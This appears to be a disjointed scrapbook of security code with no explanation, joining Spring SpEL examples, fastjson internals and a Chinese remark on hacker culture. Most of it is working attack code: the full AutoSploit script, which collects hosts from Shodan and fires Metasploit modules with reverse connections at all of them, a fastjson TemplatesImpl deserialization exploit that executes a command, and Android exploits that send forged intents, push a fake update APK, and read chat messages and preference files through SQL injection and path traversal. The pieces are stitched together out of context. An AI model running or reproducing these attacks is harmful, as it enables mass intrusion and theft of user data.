ExpressionParser parser = new SpelExpressionParser(); （1）
Expression exp = parser.parseExpression("'Hello World'"); （2）
String message = (String) exp.getValue(); （4）


ExpressionParser parser = new SpelExpressionParser();    (1)
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");   (2) 
EvaluationContext context = new StandardEvaluationContext();    (3)
context.setVariable("end", "!");    
Assert.assertEquals("Hello World!", expression.getValue(context));   (4) 

public void EvaluationContextTest() {
	Object user = new Object() {
		public String getName() {
			return "abc";
		}
	};
	EvaluationContext context = new StandardEvaluationContext(user);
	ExpressionParser parser = new SpelExpressionParser();
	Assert.assertTrue(parser.parseExpression("name").getValue(context, String.class).equals("abc"));
	Assert.assertTrue(parser.parseExpression("getName()").getValue(context, String.class).equals("abc"));
}

public interface ExpressionParser {    
    Expression parseExpression(String expressionString);    
    Expression parseExpression(String expressionString, ParserContext context);    
}  


public void testParserContext() {    
    ExpressionParser parser = new SpelExpressionParser();    
    ParserContext parserContext = new ParserContext() {    
        @Override    
         public boolean isTemplate() {    
            return true;    
        }    
        @Override    
        public String getExpressionPrefix() {    
            return "#{";    
        }    
        @Override    
        public String getExpressionSuffix() {    
            return "}";    
        }    
    };    
    String template = "#{'Hello '}#{'World!'}";    
    Expression expression = parser.parseExpression(template, parserContext);    
    Assert.assertEquals("Hello World!", expression.getValue());    
}  

ExpressionParser parser = new SpelExpressionParser();    (1)
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");   (2) 
EvaluationContext context = new StandardEvaluationContext();    (3)
context.setVariable("end", "!");    
Assert.assertEquals("Hello World!", expression.getValue(context));   (4) 

Literal expressions

Boolean and relational operators

Regular expressions

Class expressions

Accessing properties, arrays, lists, maps

Method invocation

Relational operators

Assignment

Calling constructors

Bean references

Array construction

Inline lists

Ternary operator

Variables

User defined functions

Collection projection

Collection selection

Templated expressions

CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT

addSubscriptionInternal(sessionId, subscriptionId, destination, message);

5.0.x users should upgrade to 5.0.5
4.3.x users should upgrade to 4.3.16
Older versions should upgrade to a supported branch

        for (Method method : methods) { //
            int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
            String methodName = method.getName();
            if (methodName.length() < 4) {
            //方法名长度大于4
                continue;
            }

            if (Modifier.isStatic(method.getModifiers())) {
            //是静态方法
                continue;
            }

            // support builder set
            if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
            //返回类型需要是void类型或者是当前类型
                continue;
            }
            Class<?>[] types = method.getParameterTypes();
            if (types.length != 1) {
            //参数只能有一个
                continue;
            }

            JSONField annotation = method.getAnnotation(JSONField.class);

            if (annotation == null) {
                annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
            }

            if (annotation != null) {
                if (!annotation.deserialize()) {
                    continue;
                }

                ordinal = annotation.ordinal();
                serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
                parserFeatures = Feature.of(annotation.parseFeatures());

                if (annotation.name().length() != 0) {
                    String propertyName = annotation.name();
                    add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures, 
                                                 annotation, null, null));
                    continue;
                }
            }

            if (!methodName.startsWith("set")) { 
            //以set开头
            // TODO "set"的判断放在 JSONField 注解后面，意思是允许非 setter 方法标记 JSONField 注解？
                continue;
            }

            char c3 = methodName.charAt(3);

            String propertyName;
            if (Character.isUpperCase(c3) //
                || c3 > 512 // for unicode method name
            ) {
                if (TypeUtils.compatibleWithJavaBean) {
                    propertyName = TypeUtils.decapitalize(methodName.substring(3));
                } else {
                    propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                }
            } else if (c3 == '_') {
                propertyName = methodName.substring(4);
                //取_后字符做变量名，即第4个往后
            } else if (c3 == 'f') {
                propertyName = methodName.substring(3);
                //set往后，即第3个往后
            } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
            //长度大于5并且第5个字母大写
                propertyName = TypeUtils.decapitalize(methodName.substring(3));
                //取set后边字符并转为小写
            } else {
                continue;
            }

.......
            add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                                         annotation, fieldAnnotation, null));
        }

https://tags.tiqcdn.com/utag/uber/main/prod/utag.js

api = shodan.Shodan(SHODAN_API_KEY)

result = api.search(query)

if clobber == True:
    with open('hosts.txt', 'wb') as log:
        for i in xrange(toolbar_width):
            time.sleep(0.1)
            for service in result['matches']:
                log.write(service['ip_str'])
                log.write("\n")

if choice == 's':
    with open("hosts.txt", "rb") as host_list:
        for rhosts in host_list:
            for exploit in sorted_modules:
                template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
                workspace, local_host, local_port, rhosts, exploit)
                os.system(template)
elif choice == 'a':
    with open("hosts.txt", "rb") as host_list:
        for rhosts in host_list:
            for exploit in all_modules:
                template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
                workspace, local_host, local_port, rhosts, exploit)
                os.system(template)
else:
    print "[" + t.red("!") + "]Unhandled Option. Defaulting to Main Menu"

#!/usr/bin/env python2.7

import os
import sys
import pickle
import time

from subprocess import PIPE, Popen

import shodan
from blessings import Terminal

t = Terminal()

# Global vars
api = ""
query = ""
workspace = ""
local_port = ""
local_host = ""
configured = False
toolbar_width = 60


# Logo
def logo():
    print t.cyan("""
                              _____     _       _____     _     _ _   
#--Author : Vector/NullArray |  _  |_ _| |_ ___|   __|___| |___|_| |_ 
#--Twitter: @Real__Vector    |     | | |  _| . |__   | . | | . | |  _|
#--Type   : Mass Exploiter   |__|__|___|_| |___|_____|  _|_|___|_|_|  
#--Version: 1.0.0                                    |_|             
##############################################
""")


# Usage and legal.
def usage():
    os.system("clear")
    logo()
    print """
+-----------------------------------------------------------------------+
|            AutoSploit General Usage and Information                   |
+-----------------------------------------------------------------------+
|As the name suggests AutoSploit attempts to automate the exploitation  |
|of remote hosts. Targets are collected by employing the Shodan.io API. |
|                                                                       |
|The 'Gather Hosts' option will open a dialog from which you can        |
|enter platform specific search queries such as 'Apache' or 'IIS'.      |
|Upon doing so a list of candidates will be retrieved and saved to      |
|hosts.txt in the current working directory.                            |
|After this operation has been completed the 'Exploit' option will      |
|go about the business of attempting to exploit these targets by        |
|running a range of Metasploit modules against them.                    |
|                                                                       |
|Workspace, local host and local port for MSF facilitated               |
|back connections are configured through the dialog that comes up       |
|before the 'Exploit' module is started.                                |
|                                                                       |
+------------------+----------------------------------------------------+
|     Option       |                   Summary                          |
+------------------+----------------------------------------------------+
|1. Usage          | Display this informational message.                |
|2. Gather Hosts   | Query Shodan for a list of platform specific IPs.  |
|3. View Hosts     | Print gathered IPs/RHOSTS.                         |
|4. Exploit        | Configure MSF and Start exploiting gathered targets|
|5. Quit           | Exits AutoSploit.                                  |
+------------------+----------------------------------------------------+
|                         Legal Disclaimer                              |
+-----------------------------------------------------------------------+
| Usage of AutoSploit for attacking targets without prior mutual consent| 
| is illegal. It is the end user's responsibility to obey all applicable| 
| local, state and federal laws. Developers assume no liability and are |
| not responsible for any misuse or damage caused by this program!	|
+-----------------------------------------------------------------------+
"""


# Function that allows us to store system command
# output in a variable
def cmdline(command):
    process = Popen(
        args=command,
        stdout=PIPE,
        shell=True
    )
    return process.communicate()[0]


def exploit(query):
    global workspace
    global local_port
    global local_host

    os.system("clear")
    logo()

    sorted_modules = []
    all_modules = []

    print "[" + t.green("+") + "]Sorting modules relevant to the specified platform."
    print "[" + t.green("+") + "]This may take a while...\n\n\n"

    # Progress bar
    sys.stdout.write("[%s]" % (" " * toolbar_width))
    sys.stdout.flush()
    sys.stdout.write("\b" * (toolbar_width + 1))

    with open("modules.txt", "rb") as infile:
        for i in xrange(toolbar_width):
            time.sleep(0.1)
            for lines in infile:
                all_modules.append(lines)
                if query in lines:
                    sorted_modules.append(lines)

            # update the bar
            sys.stdout.write('\033[94m' + "|" + '\033[0m')
            sys.stdout.flush()

    print "\n\n\n[" + t.green("+") + "]AutoSploit sorted the following MSF modules based search query relevance.\n"
    # Print out the sorted modules
    for line in sorted_modules:
        print "[" + t.cyan("-") + "]" + line

    # We'll give the user the option to run all modules in a 'hail mary' type of attack or allow
    # a more directed approach with the sorted modules.
    choice = raw_input("\n[" + t.magenta("?") + "]Run sorted or all modules against targets? [S]orted/[A]ll: ").lower()

    if choice == 's':
        with open("hosts.txt", "rb") as host_list:
            for rhosts in host_list:
                for exploit in sorted_modules:
                    template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
                    workspace, local_host, local_port, rhosts, exploit)
                    os.system(template)
    elif choice == 'a':
        with open("hosts.txt", "rb") as host_list:
            for rhosts in host_list:
                for exploit in all_modules:
                    template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
                    workspace, local_host, local_port, rhosts, exploit)
                    os.system(template)
    else:
        print "[" + t.red("!") + "]Unhandled Option. Defaulting to Main Menu"


# Function to gather target hosts from Shodan 
def targets(clobber=True):
    global query

    os.system("clear")
    logo()

    print "[" + t.green("+") + "]Please provide your platform specific search query."
    print "[" + t.green("+") + "]I.E. 'IIS' will return a list of IPs belonging to IIS servers."

    while True:
        query = raw_input("\n<" + t.cyan("PLATFORM") + ">$ ")

        if query == "":
            print "[" + t.red("!") + "]Query cannot be null."
        else:
            break

    print "[" + t.green("+") + "]Please stand by while results are being collected...\n\n\n"
    time.sleep(1)

    try:
        result = api.search(query)
    except Exception as e:
        print "\n[" + t.red("!") + "]Critical. An error was raised with the following error message.\n"
        print e

        sys.exit(0)

    # Setup progress bar
    sys.stdout.write("[%s]" % (" " * toolbar_width))
    sys.stdout.flush()
    sys.stdout.write("\b" * (toolbar_width + 1))

    if clobber == True:
        with open('hosts.txt', 'wb') as log:
            for i in xrange(toolbar_width):
                time.sleep(0.1)
                for service in result['matches']:
                    log.write(service['ip_str'])
                    log.write("\n")

                # update the bar
                sys.stdout.write('\033[94m' + "|" + '\033[0m')
                sys.stdout.flush()

        hostpath = os.path.abspath("hosts.txt")

        print "\n\n\n[" + t.green("+") + "]Done."
        print "[" + t.green("+") + "]Host list saved to " + hostpath

    else:
        with open("hosts.txt", "ab") as log:
            for i in xrange(toolbar_width):
                time.sleep(0.1)
                for service in result['matches']:
                    log.write(service['ip_str'])
                    log.write("\n")

        # update the bar
        sys.stdout.write('\033[94m' + "|" + '\033[0m')
        sys.stdout.flush()

        hostpath = os.path.abspath("hosts.txt")

        print "\n\n\n[" + t.green("+") + "]Done."
        print "[" + t.green("+") + "]Hosts appended to list at " + hostpath


# Function to define metasploit settings
def settings():
    global workspace
    global local_port
    global local_host
    global configured

    os.system("clear")
    logo()

    print "[" + t.green("+") + "]MSF Settings\n"
    print "In order to proceed with the exploit module some MSF"
    print "settings need to be configured."
    time.sleep(1.5)

    print "\n[" + t.green("+") + "]Note.\n"
    print "Please make sure your Network is configured properly.\n"
    print "In order to handle incoming Reverse Connections"
    print "your external Facing IP & Port need to be reachable..."
    time.sleep(1.5)

    workspace = raw_input("\n[" + t.magenta("?") + "]Please set the Workspace name: ")
    if not workspace == "":
        print "[" + t.green("+") + "]Workspace set to: " + workspace
    else:
        workspace = False

    local_host = raw_input("\n[" + t.magenta("?") + "]Please set the local host: ")
    if not local_host == "":
        print "[" + t.green("+") + "]Local host set to: " + repr(local_host)
    else:
        local_host = False

    local_port = raw_input("\n[" + t.magenta("?") + "]Please set the local port: ")
    if not local_host == "":
        print "[" + t.green("+") + "]Local port set to: " + repr(local_port)
    else:
        local_port = False

    # Check if settings are not null
    if workspace == False or local_host == False or local_port == False:
        configured = None
        print "\n[" + t.red("!") + "]Warning. LPORT, LHOST and/or workspace cannot be null"
        print "[" + t.green("+") + "]Restarting MSF Settings module."
        time.sleep(1.5)
    else:
        # If everything has been properly configured we're setting config var to true
        # When we return to the main menu loop we will use it to check to see if we
        # can skip the config stage. When the exploit component is run a second time
        configured = True

        if not os.path.isfile("hosts.txt"):
            print "[" + t.red("!") + "]Warning. AutoSploit failed to detect host file."
            print "In order for the exploit module to work, a host file needs to be"
            print "present."
        else:
            # Call exploit function, the 'query' argument contains the search strig provided
            # in the 'gather hosts' function. We will check this string against the MSF
            # modules in order to sort out the most relevant ones with regards to the intended
            # targets.
            exploit(query)


# Main menu
def main():
    global query
    global configured
    global api

    try:
        api = shodan.Shodan(SHODAN_API_KEY)
    except Exception as e:
        print "\n[" + t.red("!") + "]Critical. API setup failed.\n"
        print e
        sys.exit(0)

    try:
        while True:
            # Make sure a misconfiguration in the MSF settings
            # Doesn't execute main menu loop but returns us to the
            # appropriate function for handling those settings
            if configured == None:
                settings()

            print "\n[" + t.green("+") + "]Welcome to AutoSploit. Please select an action."
            print """
		
1. Usage		3. View Hosts		5. Quit
2. Gather Hosts		4. Exploit 					
									"""

            action = raw_input("\n<" + t.cyan("AUTOSPLOIT") + ">$ ")

            if action == '1':
                usage()

            elif action == '2':
                if not os.path.isfile("hosts.txt"):
                    targets(True)
                else:
                    append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower()

                    if append == 'a':
                        targets(False)
                    elif append == 'o':
                        targets(True)
                    else:
                        print "\n[" + t.red("!") + "]Unhandled Option."

            elif action == '3':
                if not os.path.isfile("hosts.txt"):
                    print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file."

                else:
                    print "[" + t.green("+") + "]Printing hosts...\n\n"
                    time.sleep(2)

                    with open("hosts.txt", "rb") as infile:
                        for line in infile:
                            print "[" + t.cyan("-") + "]" + line

                    print "[" + t.green("+") + "]Done.\n"

            elif action == '4':
                if not os.path.isfile("hosts.txt"):
                    print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file."
                    print "Please make sure to gather a list of targets"
                    print "by selecting the 'Gather Hosts' option"
                    print "before executing the 'Exploit' module."

                if configured == True:
                    exploit(query)
                elif configured == False:
                    settings()

            elif action == '5':
                print "\n[" + t.red("!") + "]Exiting AutoSploit..."
                break

            else:
                print "\n[" + t.red("!") + "]Unhandled Option."

    except KeyboardInterrupt:
        print "\n[" + t.red("!") + "]Critical. User aborted."
        sys.exit(0)


if __name__ == "__main__":
    logo()

    print "[" + t.green("+") + "]Initializing AutoSploit..."
    print "[" + t.green("+") + "]One moment please while we check the Postgresql and Apache services...\n"

    postgresql = cmdline("sudo service postgresql status | grep active")
    if "Active: inactive" in postgresql:
        print "\n[" + t.red("!") + "]Warning. Heuristics indicate Postgresql Service is offline"

        start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ").lower()
        if start_pst == 'y':
            os.system("sudo service postgresql start")

            print "[" + t.green("+") + "]Postgresql Service Started..."
            time.sleep(1.5)

        elif start_pst == 'n':
            print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active."
            print "[" + t.red("!") + "]Aborted."
            time.sleep(1.5)
            sys.exit(0)
        else:
            print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service."
            os.system("sudo service postgresql start")

            print "[" + t.green("+") + "]Postgresql Service Started..."
            time.sleep(1.5)

    apache = cmdline("service apache2 status | grep active")
    if "Active: inactive" in apache:
        print "\n[" + t.red("!") + "]Warning. Heuristics indicate Apache Service is offline"

        start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ").lower()
        if start_ap == 'y':
            os.system("sudo service apache2 start")

            print "[" + t.green("+") + "]Apache2 Service Started..."
            time.sleep(1.5)

        elif start_ap == 'n':
            print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active."
            print "[" + t.red("!") + "]Aborted."
            time.sleep(1.5)
            sys.exit(0)
        else:
            print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service."
            os.system("sudo service apache2 start")

            print "[" + t.green("+") + "]Apache2 Service Started..."
            time.sleep(1.5)

    # We will check if the shodan api key has been saved before, if not we are going to prompt
    # for it and save it to a file
    if not os.path.isfile("api.p"):
        print "\n[" + t.green("+") + "]Please provide your Shodan.io API key."

        SHODAN_API_KEY = raw_input("API key: ")
        pickle.dump(SHODAN_API_KEY, open("api.p", "wb"))

        path = os.path.abspath("api.p")
        print "[" + t.green("+") + "]\nYour API key has been saved to " + path

        main()
    else:
        try:
            SHODAN_API_KEY = pickle.load(open("api.p", "rb"))
        except IOError as e:
            print "\n[" + t.red("!") + "]Critical. An IO error was raised while attempting to read API data."
            print e

        path = os.path.abspath("api.p")
        print "\n[" + t.green("+") + "]Your API key was loaded from " + path

        main()

public class FastJsonPoc extends AbstractTranslet {
    public FastJsonPocCls() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        FastJsonPocC t = new FastJsonPocC();
    }
}

public class FastjsonVulTest {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        byte[] aa = bos.toByteArray();
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void test_autoTypeDeny(){
        String clsPath = "/Users/****/src/main/java/com/alibaba/middleware/FastJsonPocC.class";
        String evilCode = readClass(clsPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String testJson = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}\n";
        Object obj = JSON.parseObject(testJson, Object.class, Feature.SupportNonPublicField);

    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

if (_bytecodes == null) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
          throw new TransformerConfigurationException(err.toString());
      }

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

Burp一开，见洞就插，遇URL就遍历

第三代黑客
1、  挖洞
2、  挖洞
3、  挖洞
4、  缺少专业知识和系统化概念
5、  爱好混迹各种沙龙
6、  擅长斗图、getshell、各种互联网找洞。
7、  职业规划不明确，自身定位价值偏差

1、安全不只是挖洞，甚至挖洞在乙方的工作量都占不到一般，更遑论甲方
2、不要那么浮躁，静下心学些真正的安全技术
3、多写点东西总没错，安全本就是综合性的能力
4、进入安全圈，不是认识几个人，参加几次沙龙、提交几个漏洞、写过几篇挖洞或者工具利用的文章

Intent i = new Intent();
ComponentName componetName = new ComponentName(  "com.tencent.qqpimsecure",  "com.tencent.qqpimsecure.service.InOutCallReceiver");         
i.setComponent(componetName);       
sendBroadcast(i);

public void activityStart(View v) {
		ComponentName componetName = new ComponentName("com.huawei.dbank.v7",
				"com.huawei.dbank.v7.ui.newbietask.NewbieTaskActivity");
		try {
			Intent intent = new Intent();
			intent.setComponent(componetName);
			startActivity(intent);
		} catch (Exception e) {
			Toast.makeText(getApplicationContext(), "Not found", 0).show();
		}
	}

Intent intent = new Intent();
        intent.setAction("net.cactii.flash2.TOGGLE_FLASHLIGHT");
        sendBroadcast(intent);

Intent i = new Intent();
        i.setAction("com.baidu.android.pushservice.action.MESSAGE");
        Bundle b = new Bundle();
        try {
        	JSONObject jsobject = new JSONObject();
            JSONObject custom_content_js = new JSONObject();
        	jsobject.put("title", "xxxxxxxxxxx");
        	jsobject.put("description", "")
        	jsobject.put("url", "http://drops.wooyun.org/webview.html");
        	JSONObject customcontent_js = new JSONObject();       	
        	customcontent_js.put("type", "1");
        	customcontent_js.put("msg_type", "resources_push");
        	customcontent_js.put("uk", "1");
        	customcontent_js.put("shareId", "1");  	
        	jsobject.put("custom_content", customcontent_js);   
			String cmd  = jsobject.toString();
			b.putByteArray("message", cmd.getBytes("UTF-8"));
		} catch (Exception e) {
			e.printStackTrace();
		}

PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://**.**.**.**/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";
pushMsg.updatecontent = "This is Fake";
Intent intent = new Intent();
intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
intent.putExtra("PushMsg", pushMsg);
startService(intent);

public class ServerService extends Service {
  private void d() {
    Intent v1 = new Intent();
    v1.setAction("com.sample.action.server_running");
    v1.putExtra("local_ip", v0.h);
    v1.putExtra("port", v0.i);
    v1.putExtra("code", v0.g);
    v1.putExtra("connected", v0.s);
    v1.putExtra("pwd_predefined", v0.r);
    if (!TextUtils.isEmpty(v0.t)) {
      v1.putExtra("connected_usr", v0.t);
    }
  }
  this.sendBroadcast(v1);
}

public class BcReceiv extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent){
    String s = null;
    if (intent.getAction().equals("com.sample.action.server_running")){
      String pwd = intent.getStringExtra("connected");
      s = "Airdroid  => [" + pwd + "]/" + intent.getExtras();
    }
    Toast.makeText(context, String.format("%s Received", s),
                   Toast.LENGTH_SHORT).show();
  }
}

public void getChatMsg() {
    	String[] projection = {"* from im_message_table--"};
    	Uri uri = Uri.parse("content://com.sina.weibo.blogProvider/query/im");
    	Cursor mCursor = getContentResolver().query(uri, projection, null, null, null);
    	if (null == mCursor) {
    		Toast.makeText(mContext, "null cursor", Toast.LENGTH_SHORT).show();
    	} else if (mCursor.getCount() < 1) {
    		Toast.makeText(mContext, "count less than 1", Toast.LENGTH_SHORT).show();
    	} else {
    		String text = "";
    		while (mCursor.moveToNext()) {
    	        text += mCursor.getString(mCursor.getColumnIndex("content"));
    	    }
    		mTextView.setText(text);
    	}
    }

public void GJContentProviderFileOperations(){ 
    try{ 
	    InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml")); 
		ByteArrayOutputStream out = new ByteArrayOutputStream(); 
		byte[] buffer = new byte[1024]; 
		int n = in.read(buffer); 
		while(n>0){ 
		    out.write(buffer, 0, n); 
			n = in.read(buffer); 
			Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show(); 
	    } 
	}catch(Exception e){ 
	    debugInfo(e.getMessage()); 
	} 
}